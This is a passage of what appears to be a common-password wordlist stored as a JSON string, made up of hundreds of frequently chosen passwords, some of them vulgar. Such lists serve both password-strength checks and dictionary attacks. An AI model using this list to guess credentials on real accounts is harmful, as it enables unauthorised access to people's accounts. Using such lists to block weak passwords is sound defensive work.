nhazelnut\ngremlins\nfrankie1\nfrank123\nfireman1\nfireblade\nexternal\nentering\nelectrical\ndulcinea\ndropkick\ndraconis\ndont4get\ndomestic\ndaydreamer\ndarkwing\ncorporal\ncocorico\nchimaera\ncheyanne\ncelebrate\ncaballero\nbreakers\nbrainstorm\nbluesman\nblackpool\nbethesda\nbasketba\nantichrist\nandyandy\nallison1\nabcdefghi\nGarfield\nAbcd1234\nyoyoyoyo\nyeahbaby\nwetpussy\nvergessen\nvariable\nunicorn1\ntrillium\ntorrance\ntikitiki\nthumper1\nthesaint\ntheforce\nteiubesc\nsweet123\nsuccubus\nstockman\nsteve123\nspeeding\nsolitaire\nsokrates\nslingshot\nskateboarding\nsilverfox\nshowboat\nsequence\nrottweiler\nrincewind\nrainmaker\nqwerty99\npostcard\npolkadot\nphotoshop\npersimmon\npandabear\norlando1\nnutrition\nnicolas1\nnicknick\nnaughty1\nmysterious\nmarielle\nmaneater\nlionlion\nleningrad\nleapfrog\nkristopher\nkirkwood\nkilkenny\njordan12\njediknight\njabberwocky\nintercom\ninformix\nhounddog\nhomicide\nherschel\nhenrietta\nhatteras\nharakiri\nhalfmoon\ngunslinger\nfivestar\nfirewood\nexpedition\nexecutor\nelcamino\negyptian\neclipse1\nduckling\ndrumming\ndrifting\ndaisydog\ncoolgirl\ncontrast\ncollector\nchoclate\nchilling\nchannels\ncatapult\ncareless\ncaliforn\nbrunswick\nbrendan1\nbraindead\nbluedragon\nbloodline\nbeverley\natalanta\nastonvilla\nashley12\nasdfghjkl1\narizona1\nantihero\nandrew12\nallright\nab123456\n43214321\n2222222222\n18436572\n123456654321\nwoodlands\nwindows7\nwilkinson\nwellcome\nwaldemar\nvalerian\ntristan1\ntornado1\nthunders\nthomas123\ntestament\ntennyson\ntarragon\ntapestry\ntajmahal\nsunny123\nstruggle\nstarling\nstarchild\nsobriety\nsnowfall\nsnickers1\nskyline1\nshirley1\nshalimar\nsettings\nsebastian1\nschnecke\nsatriani\nsasha123\nsailfish\nroserose\nreference\nqwerty22\nqqqqqqqqqq\nprashant\npowerman\npowerade\nplaystation2\nplastics\npinkpink\nparallel\npapercut\np4ssword\nnavyseal\nmonopoli\nmnemonic\nmillenia\nmercenary\nmembrane\nmanitoba\nlineage2\nlimelight\nleopards\nkurdistan\nkaroline\njohnpaul\ninterior\ninteresting\ninsomniac\nhomepage\nhello1234\nheavymetal\nheadhunter\nharvester\ngreeting\ngolfgolf\nglassman\ngladstone\ngalatasaray\nfriction\nfilomena\nethereal\nemotions\ndudedude\ndouglass\ndominika\ndesperados\ndemetrio\ndemented\ndecision\ncuthbert\ncompound\ncomatose\ncivilwar\ncharleston\ncastello\ncachorro\nbulletin\nbrandnew\nbluegill\nbloodhound\nbeautiful1\nbaywatch\nbastardo\nbagheera\nannalisa\nallstate\nalfaromeo\naldebaran\nalberto1\nSamantha\nElizabeth\n78945612\n01010101\nyellow12\nwolverines\nwolfhound\nwildbill\nwhittier\nvittoria\nvirgilio\nvegetable\nunbreakable\ntrusting\ntroubles\ntonytony\nthebest1\nterriers\ntemplate\ntelefoon\ntalented\nsuperpower\nsupermen\nsugarplum\nstarting\nspartan117\nsnowball1\nsixpence\nsimplicity\nsidewalk\nshoshana\nsasquatch\nrattlesnake\nrainbow7\nrafferty\nqwerty77\nqwerty00\npromotion\npokemon123\npinocchio\nphilosophy\nphilippines\npheasant\npentium3\npatrizia\noverlook\noverhead\noperations\nokokokok\nnwo4life\nnovembre\nnostradamus\nnewlife1\nnewdelhi\nmyspace1\nmyfriend\nmunchies\nmountaindew\nmoneybag\nmolecule\nmercury1\nmelville\nmcintyre\nmattress\nmarshmallow\nmaritime\nmariachi\nmakemoney\nloveyou2\nlovesong\nlolalola\nlindsey1\nlifeboat\nkatie123\nkasandra\nkalamazoo\njupiter1\njulia123\njordan123\njackrabbit\nintelligent\ninnocence\nindia123\niamthebest\nhenry123\nhenrique\nhardball\nhandbook\nhacienda\nguilherme\ngrenoble\ngoodmorning\ngiuliano\nfrostbite\nfreehand\nfragment\nforeskin\nexplosion\nexperiment\nensemble\neclectic\ndogfight\ndodgers1\ndiogenes\ndillweed\ndickinson\ndemon666\ndemetrius\ndaybreak\ndagobert\nculinary\ncrossing\ncontrols\nconsulting\ncobblers\nchatterbox\ncharlie123\ncharissa\ncelebrity\nbuster12\nbungalow\nbroadcast\nbrianna1\nbodyguard\nbella123\nballroom\nandre123\nanalysis\namber123\nafghanistan\naddiction\naa123456\n2wsx3edc\n2bornot2b\n12131213\nzxcasdqwe\nwitchcraft\nwertwert\nwarcraft1\nvivienne\nvermilion\nultrasound\ntuppence\ntropicana\ntrafford\nteddy123\nsummer123\nstreamer\nstarburst\nstar1234\nssssssssss\nspotlight\nspecialized\nsparrows\nsolomon1\nsideshow\nsherbert\nseminoles\nsebastia\nscribble\nsarasota\nsarasara\nsarah123\nsanguine\nsandy123\nsamsung123\nrobert12\nreflection\nredhorse\nrational\nradioman\nqwerty01\nprogressive\npoophead\nplutonium\nphantoms\npassword00\npaperino\norganize\noptiplex\noctober1\nneverdie\nnantucket\nmonsieur\nmonkfish\nmauritius\nmaster01\nmarymary\nmarvelous\nmanifesto\nmacedonia\nlucas123\nlogistic\nleprechaun\nlemmings\nlangston\nkiller11\njack1234\nireland1\ninnovation\nhouse123\nhihihihi\nhellhole\nhardwood\ngenerator\nfunhouse\nfullhouse\nflowerpower\nfiorella\nfarewell\nfantasma\nfaithless\nfailsafe\nexplicit\nesposito\nenchanted\nduckduck\ndrilling\ndragon10\ndoodlebug\ndickweed\ncrunchie\ncrawfish\ncondition\nchessman\nchanelle\nchamonix\ncelebration\ncandy123\nbrotherhood\nbrainiac\nbluewater\nbirdland\nbinladen\nbillings\nbareback\nbacteria\nauthority\nastronaut\nasdfqwer\nasd12345\narpeggio\nappleseed\nanthony2\nanimator\namazonas\nalpacino\nadelaida\nadamadam\naaron123\nEinstein\n90909090\n1234zxcv\nyamamoto\nwormhole\nwindows98\nwhiteman\nwestgate\nwatchmen\nvergeten\nveracruz\nvanquish\nuuuuuuuu\nundefined\ntrucking\ntrooper1\ntormentor\ntimelord\ntimberwolf\nstrangle\nstoneman\nstarless\nspiritual\nspagetti\nsorensen\nsomethin\nsnowhite\nslovakia\nskydiver\nsilvester\nsilicone\nsilencio\nshevchenko\nselector\nscramble\nscott123\nsalinger\nrendezvous\nreminder\nredheads\nqwerty321\npropaganda\npresidente\npocahontas\nphotography\nphaedrus\npermanent\npaulchen\npassword5\npassion1\nparaguay\npanda123\npalacios\nosbourne\norange123\nonepiece\nmutation\nmurcielago\nmurakami\nmercator\nmatematica\nmario123\nmanticore\nlynnette\nlookatme\nlinda123\nlightnin\nlifeless\nleopoldo\nkristin1\nknitting\nkillerbee\nkatrina1\ninteractive\nhershey1\nhellhound\nhappening\ngridlock\ngreatness\ngigantic\nfred1234\nflatline\nfirehouse\nfirehawk\nfellatio\neruption\nencounter\ndragons1\ndragon88\ndelorean\ndecipher\ndarkblue\ncreatine\ncounting\ncornbread\ncoolidge\ncookie12\nconverge\nclubbing\ncharmaine\ncbr600rr\ncarnegie\ncaribbean\ncalabria\nbuttfuck\nbutterflies\nbroncos1\nblueball\nbeautifu\nbarnacle\nbarbarossa\nbabygurl\nautomatic\nasturias\narmchair\narchives\naperture\namandine\nagnieszka\nLiverpool\n22446688\n20032003\n1a2b3c4d5e\n19641964\n12141214\n01230123\nyourname\nwhitewolf\nwarszawa\nvisionary\nversailles\ntoothpick\ntherock1\ntestuser\ntemp1234\nswordfis\nsuperdog\nsunflowers\nsunflowe\nstevenson\nsportsman\nsomewhere\nsoccer22\nsnoopdogg\nslovenia\nslayer666\nsinfonia\nsilverfish\nsexybitch\nscimitar\nrosebush\nresonance\nresolution\nregistration\nredriver\nredeemed\nramstein\nqweasdzx\nprimetime\nprecision\nplumbing\npickwick\npassword22\nparsifal\nparamount\novercome\nnutcracker\nninjutsu\nnewport1\nnewcomer\nmonkey01\nminority\nmariette\nloveland\nlocalhost\nleadership\nlagrange\nkaitlynn\njustin123\njoshua123\njohn1234\ninvictus\ninventor\ninspired\nhurrican\nhoney123\nholbrook\nhiroshima\nheracles\nhawthorne\nhathaway\ngovernor\ngoodrich\ngizmo123\nfriday13\nfortytwo\nforeplay\nfoolproof\nfishhook\nfishfish\nfinancial\nfillmore\nevangeline\nespinoza\nemerald1\nelectricity\nekaterina\nedgewood\nduisburg\ndrummers\ndowjones\ncontinental\ncameroon\nbuddyboy\nbracelet\nbogeyman\nbluerose\nbirdcage\nbilly123\nbillgates\nbeepbeep\nbatman123\nasdfgh12\narchitecture\nantonina\nanabolic\nallister\nalbacore\nairedale\nactivity\nPatricia\n99887766\n20202020\n19701970\n1357924680\nyardbird\nxcountry\nwildrose\nwatanabe\nwareagle\nwanderlust\nwakefield\nvalidate\ntripping\ntreetree\ntimbuktu\ntarantino\nsyndicate\nsummer00\nstuntman\nsteelman\nspartan1\nspaceship\nsnowshoe\nsmuggler\nslowhand\nsharpshooter\nshadow01\nschuster\nschalke04\nsatelite\nrightnow\nr4e3w2q1\nquagmire\nportsmouth\nporridge\npinkerton\npeerless\npaganini\norchestra\noptional\nnowayout\nnintendo64\nnicaragua\nnewstart\nneworder\nmonkey13\nmission1\nmichelangelo\nmcmillan\nlucky777\nlombardo\nlindberg\nlarkspur\nlambchop\nlalaland\nkirakira\nkamehameha\njoshua12\njellybeans\njanuary1\ninnovision\ninfinito\nidentify\nhellomoto\nhellgate\nheatwave\nharlequin\ngrounded\ngreenish\ngrandmother\ngorillaz\ngoldsmith\ngerhardt\ngenerous\ngauthier\nfrontera\nfreezing\nfracture\nfirewater\nfellowship\nfastlane\nexplosive\nenvironment\ndrafting\ndonnelly\ndolomite\ndirection\ndeception\ndamocles\ncunningham\ncrossroad\ncritters\ncrickets\ncrabtree\ncortland\nconstantin\nconnected\nconfidential\ncomrades\nclothing\nclassical\nchecking\ncharmed1\ncathleen\ncarter15\ncarleton\nbutterscotch\nbutterball\nbulldozer\nbomberman\nblueline\nbittersweet\nbigblack\nbastard1\nbackspin\nbabababa\naudition\nargentum\nantonius\nantiques\nangelfish\namericana\naluminium\nabigail1\nabc123abc\n14531453\nwoodlawn\nwoodchuck\nwindward\nwarranty\nvisitors\nvanderbilt\nturquoise\ntriathlon\ntrespass\ntrashcan\ntopnotch\ntigger12\nswitzerland\nsummer05\nsummer01\nsturgeon\nstudioworks\nstrikers\nskipjack\nsimulator\nsilverman\nshipyard\nshekinah\nscouting\nsanpedro\nsandrock\nrootroot\nronaldo9\nreynaldo\nrenaissance\nrembrandt\nrelentless\nrelative\nradagast\nqwertzui\npresidio\npresence\nprentice\nporcupine\nplayback\nphilippa\npeterman\nperegrin\npeaceman\npapabear\norganist\noctavian\nnorthside\nnightwing\nnathanael\nnascar24\nmultipass\nmostwanted\nmonteiro\nmonkeys1\nmillhouse\nmetaphor\nmanifold\nmakelove\nlysander\nlouisville\nlondon123\nlogistics\nlobsters\nlifesaver\nkristofer\nkilimanjaro\njulie123\njohngalt\njamaica1\njalapeno\njacobsen\nislanders\nisengard\nicecream1\nhutchins\nhorizons\nhitchcock\nhemingway\nheartland\nhawkwind\nhappyboy\ngwendolyn\ngutentag\ngraveyard\ngracious\ngodislove\nglenwood\nfrogfrog\nfreelancer\nfraction\nforgetful\nforeigner\nfolklore\nfiretruck\nfantasy1\nfahrenheit\nexpress1\nexposure\neverton1\nendurance\nemployee\neconomic\nducksoup\ndragonslayer\ndoggystyle\ndiskette\ndescartes\ndelacruz\ndashboard\ndamnation\ncreepers\ncopperhead\nclements\ncheerful\ncharacters\ncertified\ncathedral\ncatering\ncapucine\ncapacity\nbridgett\nbreakaway\nboyscout\nbloodlust\nblackstone\nbingo123\nbelgrade\nbeginner\nbavarian\nbackfire\nastaroth\nasdfg12345\narsehole\nannelise\nandrew01\nanabelle\nalbright\nairlines\nadminadmin\nadelante\naccount1\nMaverick\n85208520\n14121412\n134679852\n123456789abc\nzzzzzzzzzz\nyahoo123\nwretched\nwinthrop\nwhirlwind\nwestwind\nweinberg\ntumbleweed\ntrashman\ntoronto1\nthreesome\nthomas01\nthibault\nsyndrome\nswinging\nsweetiepie\nsweetest\nsuperwoman\nsunburst\nsperling\nspectral\nsoldier1\nsilmaril\nshoulder\nshahrukh\nsettlers\nseduction\nsearching\nscotsman\nscofield\nschumann\nsatisfaction\nsantamaria\nrossignol\nrodrigues\nrockrock\nrockland\nretriever\nresurrection\nrestaurant\nqwerty69\npromises\npriscila\npriority\nprincipal\nplayoffs\npersephone\nperegrine\npebbles1\noverseer\nopposite\noldsmobile\noctavius\nnikenike\nnightcrawler\nnehemiah\nmystery1\nmorticia\nmorrowind\nmoonraker\nmonkey11\nmithrandir\nmisty123\nmilenium\nmicrophone\nmichael3\nmatrix123\nlollollol\nlincoln1\nlilwayne\nlausanne\nkokokoko\nkilowatt\njacob123\ninterval\nignorant\nhuntsman\nhooligans\nhomesick\nhobgoblin\nhighlands\nhighbury\nhellbent\nguerilla\ngraywolf\ngrandson\ngeorgetown\ngentleman\ngargamel\ngangsters\ngameplay\nflowerpot\nfirefly1\nfighter1\nfielding\nfamiliar\nfalconer\nezequiel\ndynamics\ndominican\ndemolition\ndemetria\ndeathnote\ndarkroom\ncurtains\ncurrency\ncrocodil\ncreativity\ncrawling\ncommercial\ncigarette\nchristy1\nchivalry\ncharlie7\ncelestine\ncatriona\ncassiopeia\ncarolann\ncantona7\ncannonball\ncanfield\nbuttocks\nbrinkley\nbordello\nblissful\nblackwell\nblackbox\nbilliard\nbigbooty\nbelvedere\nbastille\nbarbershop\nbackground\naustralian\nastalavista\nassassins\nas123456\nartofwar\nartichoke\nannalena\nanimated\nalvarado\nalternate\nalicante\nalex2000\naleksandr\nalabaster\naerospace\naccurate\n17171717\n159159159\n123456as\n00112233\n00001111\n"
  }
]